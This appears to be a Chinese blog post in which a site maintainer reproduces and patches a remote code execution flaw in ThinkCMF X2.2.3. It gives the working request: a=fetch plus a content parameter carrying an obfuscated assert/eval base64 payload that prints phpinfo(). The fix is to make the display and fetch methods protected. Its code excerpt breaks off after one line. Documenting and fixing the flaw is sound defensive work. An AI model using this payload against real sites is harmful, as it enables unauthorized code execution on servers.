接到网警通知,说网站有安全漏洞,根据网警提供的检测报告,经过各种尝试,终于复现了,现在记录这一激动人心的时刻
网站是基于ThinkCMF框架搭建的,查看版本是X2.2.3
,根据网警提供的检测报告在postman工具上操作复现漏洞情况
- 使用POST方式请求首页链接地址
- 使用form-data提交参数
- 参数
content=<php>die(assert('ev'.'a'.'l("'.'e'.'va'.'l(bas'.'e64_de'.'code(\"cGhwaW5mbygpOw==\"));;return 1;")'))</php>
- 参数
a=fetch
点击发送,看看结果,意不意外惊不惊喜!
居然打印出了phpinfo()
那找解决方法吧,升级框架肯定是不现实的,好歹是找了解决方案
原因是构造a
参数的fetch
方法和display
方法导致了这个漏洞
1 | /** |
将HomebaseController.class.php
和AdminbaseController.class.php
类中display
和fetch
函数修饰符改为protected
因为它的这两个方法是公用的,我们需要把它改为私用的,这样才可以不被前端的用户去任意的利用。
修复后,再次访问,解决了